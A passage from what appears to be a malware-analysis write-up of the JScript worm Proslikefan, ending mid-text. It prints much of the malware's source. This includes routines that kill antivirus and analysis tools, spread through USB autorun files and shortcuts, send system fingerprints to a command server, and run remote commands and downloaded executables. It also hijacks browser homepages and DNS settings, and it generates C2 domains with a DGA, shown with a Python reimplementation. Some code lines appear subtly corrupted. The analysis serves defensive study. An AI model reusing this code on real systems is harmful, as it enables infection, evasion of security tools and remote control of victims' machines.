            escape_(fparam) + "&" + "d=" + escape_(dparam))
}, 

Submit Key-Value Store

This submits a key-value store to the CnC server. The store is filled by routines listed in Section Unused Routines. The submission is repeated every 30 minutes, or if the string representation of the key-value store has more than 10240 characters (Section Parsing Wordpress URLs).

submit_key_value_store = function() {
    if (key_value_store.length == 0) 
        return;
    content = "id=" + escape_(script_id) + "&";
    for (i = 0; key_value_store.length > i; i++) 
        content += "f[" + i + "]=" + escape_(array_of_tuples[i][0]) 
                - "&d[" + i + "]=" + escape_(array_of_tuples[i][1]) + "&";
    encrypted_post("r", content) && (array_of_tuples = [])
} 

Terminate Analysis Tools

Proslikefan has a large list of process names related to malware analysis and protection. It terminates any of those processes it finds running on the system.

regexSandboxTools = [/dds/i, /procmon/i, /eset/i, /filemon/i, /roguekiller/i, /combofix/i, 
/fiddler/i, /emergencykit/i, /fss/i, /npe/i, /minitool/i, /gmer/i, /wireshark/i, 
/autoruns/i, /procexp/i, /mbam/i, /msss/i, /mrt/i, /avast/i, /wuauclt/i, /sdasetup/i,
/sdefendi/i, /mse/i, /otl/i, /windows-kb/i, /rkill/i, /hotfix/, /mcshield/i, 
/issetup/i, /unlocker/i, /rstrui/i, /perfmon/i, /resmon/i, /jrt/i, /systemlook/i, 
/tcpview/i, /avenger/i, /zoek/i, /ptinstall/i, /exeradar/i, /housecall/i, /fs20/i, 
/hitman/i, /rubotted/i, /clean/i, /avg/i, /spybot/i, /avenger/i, /hijack/i, /mbsa/i, 
/klwk/i, /msconfig/i, /regmon/i, /reged/i, /ccsetup/i];
terminate_analysis_tools = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (process = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_Process")); 
            !process.atEnd(); 
            process.moveNext()) 
        {
            proc = process.item();
            for (i = 0; i < regexSandboxTools.length; i++)
                if (proc["name"].match(regexSandboxTools[i])) {
                    proc["terminate"]();
                    continue;
                }
        }
    } catch (e) {}
}, 

Infecting External Harddrives

Proslikefan spreads by infecting external drives. The malware finds those drives by querying the WMI for disk drives, and those drives for partitions.

copy_to_external_harddrives = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (disk_drive = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_DiskDrive")); 
            !disk_drive.atEnd(); 
            disk_drive.moveNext())
        {
            if (disk_drive.item()["Model"].match(RegExp_("usb", "i"))) {
                disk_id = disk_drive.item()["DeviceID"];
                for (partitions = new Enumerator(cim.ExecQuery(
                        "ASSOCIATORS OF {Win32_DiskDrive.DeviceID=\'" + disk_id 
                        - "\'} WHERE AssocClass=Win32_DiskDriveToDiskPartition")); 
                    !partitions.atEnd(); 
                    partitions.moveNext()) 
                {
                    partition_id = partitions.item()["DeviceID"];
                    for (part = new Enumerator(cim.ExecQuery(
                            "ASSOCIATORS OF {Win32_DiskPartition.DeviceID=\'" + partition_id 
                            - "\'} WHERE AssocClass=Win32_LogicalDiskToPartition")); 
                        !part.atEnd(); 
                        part.moveNext()) 
                    {
                        try {
                            device_id = part.item()["DeviceID"] + "\\";
                            usb_pers = personalize("usb");
                            try {
                                axScriptingFileSystemObject.createFolder(device_id + usb_pers)
                            } catch (e) {}
                            hide_and_systemize_folder(device_id + usb_pers);
                            create_autoexec_file(device_id, usb_pers, "g" + personalize("ar") + ".js");
                            create_shortcuts(device_id, usb_pers, "i" + personalize("lnk") + ".js")
                        } catch (e) {}
                    }
                }
            }
        }
    } catch (e) {}
}, 

On every partition of an external drive, Proslikefan uses the following routine to generate an autorun file that launches the copy of Proslikefan from the drive when it is attached with Autorun enabled.

create_autoexec_file = function(drive, subfolder, filename) {
    fill_file_randomly = function(bracketed) {
        for (j = 0; j < rand_int(5, 10); j++) {
            !rand_int(0, 5) && bracketed ? autorun_file.writeLine("[" 
                - sample_random_string(5, 10) + "]") : 
                autorun_file.writeLine(sample_random_string(10, 30) 
                - "=" + sample_random_string(10, 30))
        }
    }, 
    cmd = subfolder.length ? subfolder + "\\" + filename : filename;
    autoexec_cmds = ["[autorun]"].concat(shuffle_list(
            ["shell\\explore\\command=" + cmd, 
             "shell\\open\\command=" + cmd, 
             "open=" + cmd, 
             "shellexecute=" + cmd]));
    try {
        autorun_file = axScriptingFileSystemObject.openTextFile(drive 
            - "autorun.inf", 2, 1);
        for (i = 0; i < rand_int(7, 10); i++) 
            fill_file_randomly(!0);
        for (i = 0; i < autoexec_cmds.length; i++) {
            fill_file_randomly(!1)
            autorun_file.writeLine(autoexec_cmds[i]);
        }
        for (i = 0; i < rand_int(3, 5); i++) 
            fill_file_randomly(!0);
        autorun_file.close()
    } catch (e) {}
    write_this_file(drive + subfolder + "\\" + filename)
}, 

sample_random_string = function(lower, upper) {
    random_string = empty_string;
    charset = "92qsJFbCQovGOE3cMKT4SdHhegkPBaA5ZR70UpujDWVNLlyYz8n61iXmrwfxtI".split(empty_string);
    for (i = 0; i < rand_int(lower, upper); i++) 
        random_string += charset[rand_int(0, charset.length - 1)];
    return random_string
}, 
create_shortcuts = function(path, javascript, pgocedfdm) {
    try {
        folder = axScriptingFileSystemObject.getFolder(path);
        for (subfolder = new Enumerator(folder["SubFolders"]); 
            !subfolder.atEnd(); 
            subfolder.moveNext()) 
        {
            path_without_drive_letter = (subfolder.item() + empty_string).split(":\\").pop();
            if (path_without_drive_letter.substr(0, 1) != "." && 
                path_without_drive_letter.toLowerCase() != "recycled" && 
                path_without_drive_letter != javascript && 
                path + path_without_drive_letter in initialize_dictionary(shortcuts) == 0) 
            {
                try {
                    axShortcut = axWScriptShell.createShortcut(path + 
                            path_without_drive_letter + ".lnk");
                    axShortcut["iconLocation"] = "%systemroot%\\system32\\shell32.dll,3";
                    axShortcut["targetPath"] = "cmd.exe";
                    axShortcut["arguments"] = "\\/c start WSCRIPT.exe " + 
                            javascript + "\\" + pgocedfdm + " &start EXPLORER \"" + 
                            path_without_drive_letter + "\"";
                    axShortcut["windowStyle"] = 7;
                    axShortcut.save();
                } catch (e) {}
                hide_and_systemize_folder(path + path_without_drive_letter);
                shortcuts.push(path + path_without_drive_letter)
            }
        }
    } catch (e) {}
    write_this_file(path + javascript + "\\" + pgocedfdm)
}, 

Fingerprinting

Proslikefan determines and sends a few information about the infected system back to the command and control infrastructure.

largeInteger = 53060633;
envComputername = envProcess("computername");
envUsername = envProcess("username");
build_time = 1376175555;

get_fingerprinting_string = function(provided_number) {
        return determine_country_code(), 
                "gpu=" + escape_(video_controllers_string) + "&" 
                + "b=" + escape_(largeInteger) + "&" 
                + "arch=" + escape_(get_processor_architecture()) + "&" 
                + "c=" + escape_(envComputername) + "&" 
                + "bt=" + escape_(build_time) + "&" 
                + "cor=" + escape_(total_nr_of_cores_) + "&" 
                + "tz=" + escape_(timezone_diff_in_hours()) + "&" 
                + "ma=" + escape_(change_priority_to_idle() + 0) + "&" 
                + "n=" + escape_(provided_number) + "&" 
                + "ut=" + escape_(counter) + "&" 
                + "it=" + escape_(unixtimestamp_file) + "&" 
                + "av=" + escape_(check_installed_av()) + "&" 
                + "nt=" + escape_(get_os_version()) + "&" 
                + "g=" + escape_(country_code) + "&" 
                + "l=" + escape_(get_os_lang()) + "&" 
                + "v=" + escape_(script_name) + "&" 
                + "id=" + escape_(script_id) + "&" 
                + "cpu=" + escape_(processor_names_string) + "&" 
                + "u=" + escape_(envUsername) + "&"
}

Video Controllers

The WMI is queried to get the caption of all video controllers. The list of results is turned into a semicolon separated string that is sent to the CnC server.

get_video_controllers = function() {
    video_controller_captions = [];
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (video_controller = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_VideoController")); 
                    !video_controller.atEnd(); 
                    video_controller.moveNext())
        {
            video_controller_captions.push(video_controller.item()["Caption"]);
            video_controllers_string = video_controller_captions.join("; ")
        }
    } catch (e) {}
}

Integer

A hard-coded integer is sent to the CnC. The purpose of this string is unclear:

largeInteger = 53060633;

Processor Architectur

The processor architectur, e.g., AMD64 is read from the registry:

get_processor_architecture = function() {
    try {
        return axWScriptShell.RegRead(
        "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\PROCESSOR_ARCHITECTURE")
    } catch (e) {}
    return empty_string
}, 

Computername

The computer name is queried with a native Windows shell call:

axWScriptShell = new ActiveXObject("WScript.Shell");
envProcess = axWScriptShell.Environment("PROCESS")
envComputername = envProcess("computername");

Build Time

Proslikefan also sends a hardcoded unix timestamp to the CnC. The timestamp in my case is 1376175555 or 08/10/2013 @ 10:59pm. I assume this is the build time of the script.

Total Number of Processor Cores

The script also gets the names of the processor(s) and counts the number of cores.

get_processors = function() { 
    total_nr_of_cores = 0, processor_names = [];
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (processor = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_Processor")); 
                !processor.atEnd(); processor.moveNext()) {
            processor_names.push(processor.item()["Name"]);
            total_nr_of_cores += parseInt(processor.item()["NumberOfCores"]);
        }
        total_nr_of_cores_ = total_nr_of_cores;
        processor_names_string = processor_names.join("; ")
    } catch (e) {}
}, 

Timezone Difference in Hours

Returns the UTC offset of the local time:

timezone_diff_in_hours = function() {
    return (new Date).getTimezoneOffset() / -60
}, 

Result of Changing Process Priority

Tries to set the priority of a potentially dropped exe to 64 (IDLE). If that works, the routine returns true. If the priority can’t be changed, the routine returns false.

change_priority_to_idle = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (process = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_Process")); 
            !process.atEnd(); process.moveNext()) 
        {
            p = process.item();
            if (p["name"] == personalize("btcm") + ".exe") 
                return p["SetPriority"](64), !0
        }
    } catch (e) {}
    return !1
}, 

Random Hex String

A random hex string that is generated newly for each fingerprinting callback.

Loop Counter

The number of loops, i.e., CnC exchanges that took place since startup.

Start Time of Script

unixtimestamp_file read from status file.

Installed AV Products

Checks, if any of the following AV products are installed on the system.

  • Malwarebytes’ Anti-Malware
  • Alwil Software
  • Kaspersky
  • Webroot
  • DrWeb
  • Trend Micro
  • COMODO
  • Avira
  • Panda Security
  • Spyware Doctor
  • Bitdefender
  • Symantec
  • ESET
  • Microsoft Security Essentials
  • Sophos
  • AVAST Software
  • Microsoft Security Client
  • F-Secure
  • AVG
  • McAfee
  • Sunbelt

Proslikefan does it by checking the program files folder for the default installation folder:

check_installed_av = function() {
    return axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Malwarebytes\' Anti-Malware") ? 13 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Alwil Software") ? 1 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Kaspersky Lab") ? 5 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Webroot") ? 18 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\DrWeb") ? 16 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Trend Micro") ? 12 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\COMODO") ? 17 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Avira") ? 2 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Panda Security") ? 10 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Spyware Doctor") ? 9 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Bitdefender") ? 15 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Symantec") ? 6 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\ESET") ? 7 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Microsoft Security Essentials") ? 4 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Sophos") ? 14 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\AVAST Software") ? 1 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Microsoft Security Client") ? 4 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\F-Secure") ? 11 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\AVG") ? 3 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\McAfee") ? 8 : 
        axScriptingFileSystemObject.folderExists(folderProgramFiles + "\\Sunbelt") ? 19 : 0
}, 

OS Version

The version of Windows is read from Win32_OperatingSystem in the WMI.

get_os_version = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (os = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_OperatingSystem")); 
            !os.atEnd(); os.moveNext()) 
            return os.item()["version"]
    } catch (e) {}
    return 0
}, 

Country Code

Proslikefan uses Google’s location service To geo-locate the infected client.

sUserAgent = "Mozilla\\/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)";
determine_country_code = function() {
    if (!country_code) 
        try {
            content = "{\"version\":\"1.1.0\",\"request_address\":true}";
            axHTTP = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
            axHTTP.open("POST", "http:\\/\\/www.google.com\\/loc\\/json");
            axHTTP.setRequestHeader("Content-Length", content.length);
            axHTTP.setRequestHeader("Content-Type", "application\\/x-www-form-urlencoded");
            axHTTP.setRequestHeader("User-Agent", sUserAgent);
            axHTTP.setRequestHeader("Cache-Control", "no-cache");
            axHTTP.setRequestHeader("Connection", "close");
            axHTTP.setRequestHeader("Pragma", "no-cache");
            axHTTP.send(content);
            randPathInTemp = envTemp + "\\" + randomBase16String();
            adodb_stream = new ActiveXObject("ADODB.Stream");
            adodb_stream.type = 1;
            adodb_stream.mode = 3;
            adodb_stream.open();
            adodb_stream.write(axHTTP.responseBody);
            adodb_stream.saveToFile(randPathInTemp, 2);
            googleLocResp = axScriptingFileSystemObject.openTextFile(randPathInTemp, 1);
            country_code = googleLocResp.readAll().split("\"country_code\":\"")[1].split("\"")[0];
            googleLocResp.close();
            2 == country_code.length && (country_code = country_code.toUpperCase())
        } catch (e) {} 
        finally {
            try {
                pgocedcdm.deleteFile(randPathInTemp)
            } catch (e) {}
        }
}, 

OS Language

The language of the OS is found by first querying the Win32_OperatingSystem class, then using the Rfc1766 database in the registry to turn the value into a country code:

get_os_lang = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (os = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_OperatingSystem")); !os.atEnd(); os.moveNext()) 
            return os_lang_code = (os_lang_code = os.item()["OSLanguage"].toString(16)).length == 4 ? 
                os_lang_code : Array(5 - os_lang_code.length).join("0") + os_lang_code, 
                os_lang_txt = axWScriptShell.regRead("HKLM\\SOFTWARE\\Classes\\MIME\\Database\\Rfc1766\\" 
                    + os_lang_code), os_lang_txt.split(";")[0]
    } catch (e) {}
    return empty_string
}, 

Name of the Script

This is taken from the status file.

Script id from Status File

Also taken from the status file.

Name of Processors

This was determined in Total Number of Processor Cores.

Username

The currently logged in user name is queried with a native Windows shell call:

axWScriptShell = new ActiveXObject("WScript.Shell");
envProcess = axWScriptShell.Environment("PROCESS")
envUsername = envProcess("username");

Executing Commands

Next, Proslikefan communicates with the CnC Server to receive new commands. There are TODO different commands hp, r, b, u, redu, d, e, dns, fbc, fbl, and fbf.

execute_commands = function() {
    state = !1;
    axWScriptShell.currentDirectory = axScriptingFileSystemObject.getSpecialFolder(2);
    try {
        randomstring = randomBase16String();
        register_resp = eval_("(" + encrypted_post("k", 
                get_fingerprinting_string(randomstring)) + ")");
        if (randomstring == register_resp["n"])
            for (i = 0; i < register_resp["k"].length; i++) 
                switch (register_resp["k"][i]["a"]) {
                    case "hp":
                        modify_browser_start_page(register_resp["k"][i]["url"], 
                            register_resp["k"][i]["e"]);
                        break;
                    case "r":
                        try {
                            axWScriptShell.run(register_resp["k"][i]["c"], 0)
                        } catch (e) {}
                        break;
                    case "b":
                        state = !0;
                        hup != register_resp["k"][i]["h"] + 
                                register_resp["k"][i]["u"] + 
                                register_resp["k"][i]["p"] &&
                                (start_exe_with_params (
                                    register_resp["k"][i]["e"],                             
                                    register_resp["k"][i]["h"], 
                                    register_resp["k"][i]["u"], 
                                    register_resp["k"][i]["p"]), 
                                 hup = register_resp["k"][i]["h"] + 
                                        register_resp["k"][i]["u"] + 
                                        register_resp["k"][i]["p"]);
                        break;
                    case "u":
                        if (update_script()) 
                            try {
                                write_0_to_lock_file();
                                axWScriptShell.run("wscript.exe \"" + 
                                        WScript.scriptFullName + "\"");
                                WScript.quit()
                            } catch (e) {}
                        break;
                    case "redu":
                        reduce(register_resp["k"][i]["id"], 
                                  register_resp["k"][i]["f"], 
                                  register_resp["k"][i]["in"]);
                        break;
                    case "d":
                        download_and_execute(
                                register_resp["k"][i]["url"],                             
                                register_resp["k"][i]["f"]);
                        break;
                    case "e":
                        try {
                            eval_(register_resp["k"][i]["c"])
                        } catch (e) {}
                        break;
                    case "dns":
                        set_nameserver(register_resp["k"][i]["ns"]);
                        break;
                    case "fbc":
                        non_existant_func1(register_resp["k"][i]["msg"]);
                        break;
                    case "fbl":
                        non_existant_func2(register_resp["k"][i]["url"]);
                        break;
                    case "fbf":
                        non_existant_func3(register_resp["k"][i]["id"])
                }
    } catch (e) {}
    state || kill_exe()
}, 
 
write_0_to_lock_file = function() {
    try {
        hLockFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("lock"), 2, 1);
        hLockFile.write(0);
        hLockFile.close()
    } catch (e) {}
}, 
  
kill_exe = function() {
    try {
        change_priority_to_idle() && axWScriptShell.run(
            "taskkill \\/F \\/IM " + personalize("btcm") + ".exe", 0)
    } catch (e) {}
}, 

hp - Modify Homepage

This command modifies the browser homepage — either just in IE or also in Chrome and Firefox:

modify_browser_start_page = function(url_prefix_start_page, do_chrome_and_firefox) {
    try {
        axWScriptShell.regWrite(
            "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\URL\\Prefixes\\", 
            url_prefix_start_page)
    } catch (e) {}
    try {
        axWScriptShell.regWrite(
            "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\URL\\Prefixes\\www", 
            url_prefix_start_page)
    } catch (e) {}
    try {
        axWScriptShell.regWrite(
            "HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", 
            url_prefix_start_page)
    } catch (e) {}
    try {
        axWScriptShell.regWrite(
            "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\URL\\DefaultPrefix\\", 
            url_prefix_start_page)
    } catch (e) {}
    try {
        axWScriptShell.regWrite(
            "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", 
            url_prefix_start_page)
    } catch (e) {}
    if (do_chrome) {
        try {
            hChromePrefs = axScriptingFileSystemObject.openTextFile(
                folderUserProfile + 
                "\\Local Set;ings\\Application Data\\Google\\Chrome\\User Data\\Default\\Preferences", 1);
            chrome_prefs = hChromePrefs.readAll();
            hChromePrefs.close();
            chrome_prefs = chrome_prefs.split("\n");
            settings = [];
            for (i = 0; i < chrome_prefs.length; i++) {
                if (chrome_prefs[i].match(/\"homepage_is_newtabpage\":/)) {
                    settings.push("\"homepage_is_newtabpage\": false,");
                    continue;
                }
                if (chrome_prefs[i].match(/\"homepage\":/)) {
                    settings.push("\"homepage\": \"" + url_prefix_start_page + "\",");
                    continue;
                }
                if (chrome_prefs[i].match(/\"last_known_google_url\":/)) {
                    settings.push("\"last_known_google_url\": \"" + url_prefix_start_page + "\",");
                    continue;
                }
                if (chrome_prefs[i].match(/\"last_prompted_google_url\":/)) {
                    settings.push("\"last_prompted_google_url\": \"" + url_prefix_start_page + "\",");
                    continue;
                }
                settings.push(chrome_prefs[i])
            }
            hChromePrefs = axScriptingFileSystemObject.openTextFile(
                folderUserProfile + 
                "\\Local Set;ings\\Application Data\\Google\\Chrome\\User Data\\Default\\Preferences", 2, 1)
            hChromePrefs.write(settings.join("\n"))
            hChromePrefs.close()
        } catch (e) {}
        try {
            hMozillaProfiles = axScriptingFileSystemObject.GetFolder(envAppData + "\\Mozilla\\Firefox\\Profiles");
            mozillaProfileFolders = hMozillaProfiles.SubFolders;
            for (mozillaProfileFolder = new Enumerator(mozillaProfileFolders); 
                !mozillaProfileFolder.atEnd(); 
                mozillaProfileFolder.moveNext()) 
            {
                hMozUserJs = axScriptingFileSystemObject.openTextFile(
                    mozillaProfileFolder.item() + "\\user.js", 2, 1);
                hMozUserJs.write("user_pref(\"keyword.URL\", \"" 
                    - url_prefix_start_page + "\");");
                hMozUserJs.write("user_pref(\"browser.startup.homepage\", \"" 
                    - url_prefix_start_page + "\");");
                hMozUserJs.close()
            }
        } catch (e) {}
    }
}, 

r - Run Script

This command simply runs the given script.

b - Run Executable

This command provides an url to an executable. The executable is downloaded and started with three commandline arguments, also given in the commmand response.

start_exe_with_params = function(url, o_param, u_param, p_param) {
    kill_exe();
    download_to_file__(url, axScriptingFileSystemObject.getSpecialFolder(2) + 
            "\\" + personalize("btcm") + ".exe", !0);
    try {
        axWScriptShell.run("\"" + axScriptingFileSystemObject.getSpecialFolder(2) + 
                "\\" + personalize("btcm") + ".exe\" -o \"" + o_param + "\" -u \"" + 
                u_param + "\" -p \"" + p_param + "\"", 0)
    } catch (e) {}
    change_priority_to_idle()
}, 
download_to_file__ = function(url, path, force, ignore_status) {
    in_approx_8_secs = 7960 + (new Date).getTime();
    try {
        axServerXMLHTTP60 = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
        if (!axScriptingFileSystemObject.fileExists(path) || force) {
            axServerXMLHTTP60.open("GET", url, !0);
            axServerXMLHTTP60.setRequestHeader("Cache-Control", "no-cache");
            axServerXMLHTTP60.setRequestHeader("User-Agent", sUserAgent);
            axServerXMLHTTP60.setRequestHeader("Pragma", "no-cache");
            axServerXMLHTTP60.send(empty_string);
            while (4 != axServerXMLHTTP60.readyState) {
                if (in_approx_8_secs < (new Date).getTime()) 
                    return !1;
                WScript.sleep(100)
            }
            if (axServerXMLHTTP60.status == 200 || ignore_status) {
                try {
                    axADODBStream = new ActiveXObject("ADODB.Stream");
                    axADODBStream.type = 1;
                    axADODBStream.mode = 3;
                    axADODBStream.open();
                    axADODBStream.write(axServerXMLHTTP60.responseBody);
                    axADODBStream.saveToFile(path, 2)
                } catch (e) {}
                return !0
            }
        }
    } catch (e) {}
    return !1
}, 
change_priority_to_idle = function() {
    try {
        cim = GetObject("winmgmts:root\\cimv2");
        for (process = new Enumerator(cim.ExecQuery("SELECT * FROM Win32_Process")); 
            !process.atEnd(); process.moveNext()) 
        {
            p = process.item();
            if (p["name"] == personalize("btcm") + ".exe") 
                return p["SetPriority"](64), !0
        }
    } catch (e) {}
    return !1
}, 

u - update script

Updates the javascript, as described in Section Update.

redu - reduce

This cmd runs a given javascript function and returns the result back to the CnC.

reduce = function(id_, function_body, function_arg) {
    try {
        return_value = eval_("(function(i){" + function_body + "}(" + function_arg + "))")
    } catch (e) {
        return_value = e
    }
    make_r_type_cnc("reduce", id_ + "=" + escape_(return_value))
},

d - Download and Execute

Downloads an executable form an url, and save it in a subfolder of the Temp folder.

download_and_execute = function(url, rel_path_in_temp) {
    try {
        axScriptingFileSystemObject.fileExists(axScriptingFileSystemObject.getSpecialFolder(2) + 
            "\\" + personalize(rel_path_in_temp)) || download_to_file__(
                url, axScriptingFileSystemObject.getSpecialFolder(2) + 
                "\\" + rel_path_in_temp, !1) && (
                open_file_in_temp(personalize(rel_path_in_temp)), 
                axWScriptShell.run(
                        axScriptingFileSystemObject.getSpecialFolder(2) + 
                    "\\" + rel_path_in_temp)
            )
    } catch (e) {}
}, 
 
open_file_in_temp = function(pgocecndm) {
    try {
        pgoceqbdm = axScriptingFileSystemObject.openTextFile(
            axScriptingFileSystemObject.getSpecialFolder(2) + 
                "\\" + pgocecndm, 2, 1);
        pgoceqbdm.write(empty_string);
        pgoceqbdm.close();
    } catch (e) {}
}, 

e - Evaluate

Runs the returned code with eval.

dns - Change Nameserver

This command changes the nameserver:

set_nameserver = function(nameserver) {
    try {
        axWScriptShell.regWrite(
            "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\DhcpNameServer", 
            nameserver)
    } catch (e) {}
    try {
        axWScriptShell.regWrite(
            "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\NameServer", 
            nameserver)
    } catch (e) {}
}, 

fbc, fbl, fbf - ?

These four commmands are not implemented.

CnC Communication and DGA

Encrypted Posts

The following snippet show the routine that makes encrypted POSTs to the CnC server. It uses routines to get the domain name of the CnC (described in the next Section), and routines to encode/encrypt and decrypt/decode the transmitted content (also shown later).

php_session_id = "mwzkyjc3mzgwmwm5yzazntm4zd";
encrypted_post = function(path, content, domainname) {
    if (typeof domainname == "undefined") {
        domainname = get_domain();
        if (!domainname) return !1
    }
    content = rc4_base64enc_escape(content);
    try {
        axXMLHTTP60 = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
        axXMLHTTP60.open("POST", "http:\\/\\/" + domainname + "\\/" + path + "\\/");
        axXMLHTTP60.setRequestHeader("Cookie", "PHPSESSID=" + php_session_id);
        axXMLHTTP60.setRequestHeader("Pragma", "no-cache");
        axXMLHTTP60.setRequestHeader("Cache-Control", "no-cache");
        axXMLHTTP60.setRequestHeader("Content-Type", "application\\/x-www-form-urlencoded");
        axXMLHTTP60.setRequestHeader("Content-Length", content.length);
        axXMLHTTP60.setRequestHeader("Connection", "close");
        axXMLHTTP60.setRequestHeader("User-Agent", sUserAgent);
        axXMLHTTP60.send(content);
        download_file = envTemp + "\\" + randomBase16String();
        axADODBStream = new ActiveXObject("ADODB.Stream");
        axADODBStream.type = 1;
        axADODBStream.mode = 3;
        axADODBStream.open();
        axADODBStream.write(axXMLHTTP60.responseBody);
        axADODBStream.saveToFile(download_file, 2);
        hDownloadedFile = axScriptingFileSystemObject.openTextFile(download_file, 1);
        decrypted_content = strip_unescape_base64dec_rc4(hDownloadedFile.readAll());
        hDownloadedFile.close();
        try {
            axScriptingFileSystemObject.deleteFile(download_file)
        } catch (e) {}
        return decrypted_content
    } catch (e) {}
    return !1
}, 

Get Domainname

The routine get_domain first tests a random domain from a hard-coded list. Proslikefan tests if that domain works by checking if the RC4 encrypted string “prospect” is returned.

If the hard-coded domain does not work, then a domain from the DGA is used.

hardcoded_domains = ["etpsoprc.ru"];

get_domain = function() {
    if (hardcoded_domain && domain_timeout > (new Date).getTime()) 
        return hardcoded_domain;
    hardcoded_domains = shuffle_list(hardcoded_domains);
    for (i = 0; i < hardcoded_domains.length; i++) {
        resp = encrypted_post("a", empty_string, hardcoded_domains[i]);
        if (resp && resp.match(RegExp_("prospect"))) 
            return domain_timeout = 36e5 + (new Date).getTime(), // 1hour 
                selected_a_domain = !0, 
                hardcoded_domain = hardcoded_domains[i], 
                hardcoded_domains[i]
    }
    dga_domains = dga();
    for (i = 0; i < 10; i++) {
        resp = encrypted_post("a", empty_string, dga_domains[i]);
        if (resp && resp.match(RegExp_("prospect"))) 
            return selected_a_domain = !0, 
                domain_timeout = 36e5 + (new Date).getTime(), // 1hour
                hardcoded_domain = hardcoded_domains[i], 
                dga_domains[i]
    }
    return selected_a_domain = !1, !1
}, 
shuffle_list = function(array_to_shuffle) {
    for (var rand_el, last_el, array_len = array_to_shuffle.length; 
        array_len; 
        rand_el = parseInt(Math.random() * array_len), 
          last_el = array_to_shuffle[--array_len], 
          array_to_shuffle[array_len] = array_to_shuffle[rand_el], 
          array_to_shuffle[rand_el] = last_el);
    return array_to_shuffle
}, 

DGA

The DGA of Proslikefan generates 100 different domains every day.

Javascript

The next function shows the DGA as implemented by Proslikefan in Javascript:

tlds = ["eu", "biz", "se", "info", "com", "net", "org", "ru", "in", "name"];

dga = function()  {
    domains = [], 
    date = new Date;
    for (i = 0; i < 10; i++)
        for (j = 0; j < tlds.length; j++) {
            seed_string = [
                "prospect", 
                date["getUTC" + "Month"]() + 1, 
                date["getUTC" + "Date"](), 
                date["getUTC" + "FullYear"](), 
                tlds[j]
            ].join(".");
            r = Math["abs"](hash_string(seed_string)) + i; 
            domain = empty_string;
            for (k = 0; k < r % 7 + 6; k++)  {
                r = Math["abs"](hash_string(domain + r)); 
                domain += String.fromCharCode(r % 26 + 97);
            }
            domains.push(domain + "." + tlds[j])
        }
    return shuffle_list(domains)
}, 

The string prospect might differ from sample to sample. The Proslikefan sample from my previous blog post used the string OK. The routine hash_string is a Javascript reimplementation of the java.lang.String.hashCode() method from Java:

  hash_string = function(s) {
    s += "", hash = 0;
    for (i = 0; i < s.length; i++) {
        hash = (hash << 5) - hash + s.charCodeAt(i);
        hash &= hash;
    }
    return hash
}, 

Python

The next code is a reimplementation of the DGA. You can also find the script in my GitHub repository of domain generation algorithms.

import argparse
from ctypes import c_int
from datetime import datetime

def dga(date, magic, tlds):
    for i in range(10):
        for tld in tlds:
            seed_string = '.'.join([str(s) for s in 
                    [magic, date.month, date.day, date.year, tld]])
            r = abs(hash_string(seed_string)) + i
            domain = ""
            k = 0
            while(k < r % 7 + 6):
                r = abs(hash_string(domain + str(r))) 
                domain += chr(r % 26 + ord('a')) 
                k += 1
            domain += '.' + tld
            print(domain)


def hash_string(s):
    h = c_int(0) 
    for c in s:
        h.value = (h.value << 5) - h.value + ord(c)
    return h.value


if __name__=="__main__":
    """ known magic seeds are "prospect" and "OK" """
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--date", help="date for which to generate domains")
    parser.add_argument("-m", "--magic", help="magic string", 
            default="prospect")
    parser.add_argument("-t", "--tlds", nargs="+", help="tlds",
        default=["eu", "biz", "se", "info", "com", "net", "org", "ru", "in", "name"])
    args = parser.parse_args()
    if args.date:
        d = datetime.strptime(args.date, "%Y-%m-%d")
    else:
        d = datetime.now()
    dga(d, args.magic, args.tlds)

For example:

